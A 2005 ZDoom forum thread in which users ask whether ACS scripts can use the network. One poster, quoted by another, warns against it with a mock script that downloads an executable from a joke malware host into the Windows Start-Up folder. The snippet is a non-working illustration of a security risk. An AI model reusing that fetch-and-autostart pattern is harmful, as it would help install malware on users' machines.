ACS Networking

QBasicer · Post by **QBasicer** » Tue Mar 01, 2005 8:51 pm

Can ACS access networking resources?

HotWax · Post by **HotWax** » Tue Mar 01, 2005 9:56 pm

Could you be any more vague?

QBasicer · Post by **QBasicer** » Wed Mar 02, 2005 5:19 am

Can I say to ACS:
Hey, connect to port 80, and send this information to http://domain.tld/zdoom.php?update=1&p1 ... Wax,Johnny

Post by **Graf Zahl** » Wed Mar 02, 2005 7:04 am

Of course not! ACS is a scripting language to handle in-game behavior, nothing more.

Your Name Is · Post by **Your Name Is** » Wed Mar 02, 2005 10:45 am

What are you trying to do, anyway? Maybe you could put the code into ZDoom's source and compile it if it ain't too hard...

Graf, Is it too hard to make Zdoom record game stats for multiplayer at some place on this website?

randomlag · Post by **randomlag** » Wed Mar 02, 2005 10:53 am

charris wrote:Can ACS access networking resources?

That could be cool

Assuming it is game related [vs some generalized net access], thus actually fits in the scheme of game multi-player stuff. Indirectly that's somewhat done now if you think about it.

ATM have no idea how it could be useful

, but then that's a typical chicken and egg conceptual problem.

Macil · Post by **Macil** » Thu Mar 03, 2005 6:42 pm

I know many ways it would be useful. I would like it. Just as long as we can download a variable from a file at an URL. Then we could have "The Daily ZDooM News" in a WAD! (Just as long as someone constantly updated the file.)

Post by **Bio Hazard** » Thu Mar 03, 2005 9:44 pm

um, you are saying its a good idea to let mappers download arbitrary files to my computer without my consent?

um... even i know that is a bad idea...

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script 1 (void){
    DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up\");
}

HotWax · Post by **HotWax** » Thu Mar 03, 2005 11:35 pm

YNI and Agent ME are asking for two different things. YNI wants a way to transfer game stats from a ZDoom server to a website. Agent ME is asking for a way to download from a website to ZDoom.

If it was just a bit of data that ZDoom displayed in a controlled manner, it wouldn't pose any threat to the user, and vice versa.

Your Name Is · Post by **Your Name Is** » Fri Mar 04, 2005 10:17 am

I know that we want different things, but I got the idea from Mechwarrior 4 Vengeance and XBOX live

Cutmanmike · Post by **Cutmanmike** » Fri Mar 04, 2005 10:18 am

Bio Hazard wrote:um, you are saying its a good idea to let mappers download arbitrary files to my computer without my consent?

um... even i know that is a bad idea...
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script 1 (void){
    DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up");
}

My thoughts exactly

Your Name Is · Post by **Your Name Is** » Fri Mar 04, 2005 10:23 am

I never download something without researching anymore, but I better watch my back. Some ZDoom.zip file on another site was really a Trojan Horse.

Cutmanmike · Post by **Cutmanmike** » Fri Mar 04, 2005 10:25 am

Your Name Is · Post by **Your Name Is** » Fri Mar 04, 2005 10:29 am

HobbsTiger1 · Post by **HobbsTiger1** » Fri Mar 04, 2005 12:56 pm

Agent ME wrote:I know many ways it would be useful. I would like it. Just as long as we can download a variable from a file at an URL. Then we could have "The Daily ZDooM News" in a WAD! (Just as long as someone constantly updated the file.)

If you wan't the daily ZDoom news quickly put it on active desktop.

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